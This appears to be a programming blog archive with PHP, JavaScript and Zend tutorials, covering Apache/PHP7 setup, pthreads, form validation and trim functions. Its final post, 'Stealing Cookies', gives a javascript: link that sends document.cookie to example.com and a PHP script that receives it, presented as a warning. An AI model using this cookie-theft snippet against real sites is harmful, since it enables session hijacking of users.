Monday, 7 December 2015

PHP7 installation in Windows with Apache 2.4

Now PHP7 is released on 03 December 2015 and it is 50 percent faster then PHP5.6 with lot more feature. So, why we not go for this so, I have decided  to install it. Oh Great.

First I thought it may be available in xampp or wamp software  but too sad it is not. Hmm my work is increase. Now I need to install Apache too. So, I downloaded the apache from link https://www.apachelounge.com/download/httpd-2.4.17-win64-VC14.zip 

Also, I need to install VC 14 from https://www.microsoft.com/en-us/download/details.aspx?id=49984, if the sytem not has visual studio 2015 installed.

As I have downloaded the Apache 2.4. so,  extracted it in my system directory D:\httpd-2.4.12-win64-VC11\Apache24.

Okay Now open the file D:\httpd-2.4.12-win64-VC11\Apache24\conf\httpd.conf and make the below changes.
Go to line No - 37
Change the ServerRoot "c:/Apache24"
to
ServerRoot "D:/httpd-2.4.12-win64-VC11/Apache24"

Got to line No - 243
DocumentRoot "c:/Apache24/htdocs"
<Directory "c:/Apache24/htdocs">
to
 DocumentRoot "D:/httpd-2.4.12-win64-VC11/Apache24/htdocs"
<Directory "D:/httpd-2.4.12-win64-VC11/Apache24/htdocs">

And added some code at the end of the file below:-
LoadFile "D:/php-7.0.0-Win32-VC14-x64/php7ts.dll"
AddHandler application/x-httpd-php .php
AddType application/x-httpd-php .html .html
LoadModule php7_module "D:/php-7.0.0-Win32-VC14-x64/php7apache2_4.dll"

<IfModule php7_module>
        PHPIniDir "D:/php-7.0.0-Win32-VC14-x64"
</IfModule>
After make the above changes, opened command prompt  and run as a administrator
Go to the Apache bin directory
C:\Windows\System32>D:
D:>cd D:\httpd-2.4.12-win64-VC11\Apache24\bin
D:\httpd-2.4.12-win64-VC11\Apache24\bin>httpd -k install -n "Apache24"

Then started the apache
D:\httpd-2.4.12-win64-VC11\Apache24\bin>httpd -k start

Well no Error, working fine.

Now, time is come to download and install php7.

Going to link http://windows.php.net/download/ and downloaded VC14 x64 Thread Safe.

Extract the zip folder to path -  D:\php-7.0.0-Win32-VC14-x64 and rename the file php.ini-development to php.ini. That's it.

Finally we need to test the php is working or not. so, created one php file(phpinfo.php) in the directory D:\httpd-2.4.12-win64-VC11\Apache24\htdocs. Inside the file written the code below and saved.

<?php
 phpinfo();


Now Open the browser type the url http://localhost/phpinfo.php and GO.

It is now showing the php information. It is working Great :-)

Thanks for reading my blog.







Thursday, 16 April 2015

Multi Thread Application in PHP

After Long Time I am back. Today I am  going to write about how we can code multi Thread application using PHP(Window Environment). As we all know php current version 5.6 does not has multithread. Hmm so, how we can do it :-(. Don't worry I have a solution after googling a lot. Without wasting of time let me start.

I am  assuming that you have xamp install in your system. I have XAMPP installed and PHP version is PHP VC11 x86 Thread Safe: 5.6.8.
Now you need to download PThreads  from link https://www.sourceware.org/pthreads-win32/ (Win32) or http://windows.php.net/downloads/pecl/releases/pthreads/ (Win64)

After Download zip, extract it. Here you need two dll. 

1. pthreadVC2.dll
2. php_pthreads.dll

Copy paste the file 'pthreadVC2.dll' to php extension directory. My is 'C:\xampp\php\ext'. After that copy paste 'php_pthreads.dll' to php directory. My is 'C:\xampp\php' but sometime you may need to paste it to Windows folder Window folder, My is 'C:\Windows'. Now Restart the Apache.

Write the code to test our multithread installation.

<?php
class AsyncOperation extends Thread {

    public function __construct($arg) {
        $this->arg = $arg;
    }

    public function run() {
        if ($this->arg) {
            $sleep = mt_rand(1, 10);
            printf('%s: %s  -start -sleeps %d' . "\n", date("g:i:sa"), $this->arg, $sleep);
            echo '<br/>';
            sleep($sleep);
            printf('%s: %s  -finish' . "\n", date("g:i:sa"), $this->arg);
            echo '<br/>';
        }
    }
}

// Create a array
$stack = array();

//Iniciate Miltiple Thread
foreach ( range("A", "D") as $i ) {
    $stack[] = new AsyncOperation($i);
}

// Start The Threads
foreach ( $stack as $t ) {
    $t->start();
}

?>

OUTPUT :
1:49:56pm: C -start -sleeps 1
1:49:57pm: C -finish
1:49:56pm: A -start -sleeps 4
1:50:00pm: A -finish
1:49:56pm: D -start -sleeps 6
1:50:02pm: D -finish
1:49:56pm: B -start -sleeps 8
1:50:04pm: B -finish 

Wednesday, 2 November 2011

Second largest number in PHP

$arr = array(10,12,2,3,5,12,55,23,2,33,45,56);

 $temp[0] = $arr[0];
 $temp[1] = $arr[0];
 for($i=0,$n=count($arr); $i<$n; $i++)
 {       
        if($arr[$i]>$temp[0])
        {
            $temp[1] = $temp[0];
            $temp[0] = $arr[$i];
        }

        if($arr[$i] > $temp[1] && $arr[$i]<$temp[0]) $temp[1] = $arr[$i];

       
 }
 echo 'Second largest number - ' . $temp[1];

Wednesday, 5 October 2011

validation pop

<html>
    <head>
        <title>Tool Error</title>
        <style type="text/css">
            #errmsg{
                    /*background-color:#EEEEEE;*/
                    display: none;
                    left: 137px;
                    right: auto;
                    top: 145px;
                    position:absolute;
                    width:100%
                   
                    /*border:1px solid #111111;opacity:0.85;*/
                    /*padding:5px;*/
                    z-index:1000;
            }
            #errmsg .text{
                        float:left;
                        margin-top:1px;
                        margin-left:-1px;
                        padding-right:5px;
                        height:37px;
                        z-index:2000;
                        border-top: 2px solid #A1A1A1;
                        border-right: 2px solid #A1A1A1;
                        border-bottom: 2px solid #A1A1A1;

           
                    }

            .left{ float:left; }
            .right{ float:right; }
        </style>
        <script type="text/javascript" src="jquery-1.6.1.js"></script>


        <script type="text/javascript">
                function inline(id,msg)
                {               
                    var offset = $('#'+id).offset();
                    var width =     $('#'+id).width()+20;
                   
                    $('.text').html(msg);
                    $('#errmsg').css('top',offset.top+'px');
                    $('#errmsg').css('left',offset.left+ width+ 'px');
                    $('#errmsg').show();
                }
                $().ready(function(){               
                    $('#sub').click(function(){
                         $('#errmsg').hide();
                        if($('#f_name').val()=='')
                        {
                                inline('f_name','Enter the First Name');   
                                return false;
                        }
                   
                        if($('#l_name').val()=='')
                        {
                                inline('l_name','Enter the Last Name');   
                                return false;
                        }

                        if($('#email').val()=='')
                        {
                                inline('email','Enter the Email Name');   
                                return false;
                        }
                   
                    })           
               
                });

        </script>
     </head>
    <body>
        <table>
            <tr>
                    <td>First Name</td>
                    <td><input type="text" id="f_name" name="f_name"></td>
            </tr>
            <tr>
                    <td>Last Name</td>
                    <td><input type="text" id="l_name" name="l_name"></td>
            </tr>
            <tr>
                    <td>Email</td>
                    <td><input type="text" id="email" name="email"></td>
            </tr>
            <tr>
                    <td></td>
                    <td><input id="sub" type="button" name="sub" value="submit"></td>
            </tr>
        </table>       
        <div id="errmsg" class="">
           
            <div class="left"><img src="http://www.fantasie.com/App_Themes/Fantasie/images/left_arrow.gif"/></div>
            <div class="text" style="display: block;">Note that the tooltip disappears when clicking the input element</div>
       
        </div>
    </body>
</html>










Tuesday, 7 June 2011

Trim in javascript.

Here, I used regular expression to remove White space and Tab. You can easily understand the code, it very simple.
<html>
 <head>
  <title>Trim Example</title>
<script type="text/javascript">
    function rtrim(str)
    {
           if(str=='') return '';
           var rReg= /[\t \s]+$/;
           return str.replace(rReg,'');       

    }
    function ltrim(str)
    {
           if(str=='') return '';
           var rReg= /^[\t \s]+/;
           return str.replace(rReg,'');       

    }
    function trim(str)
    {
            if(str=='') return '';
            str = rtrim(str);
            return ltrim(str);       

    }
    function check()
    {
         var val =document.getElementById('user').value
                           
                val = trim(val);
        alert(val.length);
    }



</script>

 <body>
            <input type="text" id="user" name="user" value='' />
            <input type="button" name="button" value="check" onclick="check();">

 </body>
</html>

Monday, 30 May 2011

Simple Bootstrap for Zend Framework

Bootstrap file is used to run the Zend framework. It execute with every request. To work with bootstrap we require htaccess file, which help to execute bootstrap file first with any page requested by the user.

Following is the code of .htacess for framework.

RewriteEngine on
RewriteBase /
RewriteRule !\.(js|ico|txt|gif|jpg|png|css)$ index.php

In above expression it mention that any request except js|ico|txt|gif|jpg|png|css files, will run the index.php which also be a bootstrap file.

In bootstrap file, we need to specify the requirement and configuration. In beginning we set the default include path. so, when we will call any require file then it will search the file in the set path folder.
So, see how we going to use it.

define('ROOT_DIR',dirname(__FILE__));
set_include_path(get_include_path().  PATH_SEPARATOR . ROOT_DIR . '/library/'. PATH_SEPARATOR . ROOT_DIR . '/application/models/'. PATH_SEPARATOR . ROOT_DIR . '/application/forms/');
  
In above code, I defined the ROOT_DIR Constant which is full path for current directory and I used set_include_path() function to set the default include and require path for file we will need  in future
during program execution.
I used it for following files:
1. Library Files - which will be inside ROOT_DIR . '/library/' directory.
2. Model Files - which will be inside ROOT_DIR . '/application/models/' directory.
3. Form Files - which will be inside ROOT_DIR . '/application/forms/' directory.
4. Previous Default Folder - get_include_path().

So, next time if i need any files inside above folder then i don't need to specify the full path, only i need to specify the file name.

Now, we need to define the controller path. So, we need Front.php file, which is inside library/Zend/Controller folder. 

$front= Zend_Controller_Front::getInstance();
$front->setControllerDirectory( './application/controllers');
$front->dispatch();
Font.php contain getInstance static function which is used to create class object by reference. Inside this class there is function
called setControllerDirectory() used to define the controller folder. Atlast dispath() function which is work like a kick start.

 Whole code is following index.php
 define('ROOT_DIR',dirname(__FILE__));
 set_include_path(get_include_path().  PATH_SEPARATOR . ROOT_DIR . '/library/'. PATH_SEPARATOR . ROOT_DIR . '/application/models/'. PATH_SEPARATOR . ROOT_DIR . '/application/forms/');

 $front= Zend_Controller_Front::getInstance();
 $front->setControllerDirectory( './application/controllers');
 $front->dispatch();

 It is the minimum code to create a bootstrap file. we can also create advance bootstrap to work with advance work.

 



Sunday, 29 May 2011

Stealing Cookies

           Steal a cookie is very simple. Just it require one line of code. So, i am showing you how to do this. For this we require client and server script language. I am going to use javascript for client side and php for server.
In javascript we need to use code like as follow:
<a href="javascript:document.location='http://example.com/c.php?c='+escape(document.cookie);" >Hi Click here</a>.
In above code , document.cookie is used get the whole cookie. Which will sent to server “example.com” . To save the cookie we require sever script language. So, for that we require php. The  code will be like following
if(isset($_GET[‘c’]))
{
                                echo $_GET[‘c’];
}
So, it is very dangerous to click any link. It can be contain as such malfunction code.  That’s why site like facebook and orkut not allow to put tag in scrap and comment.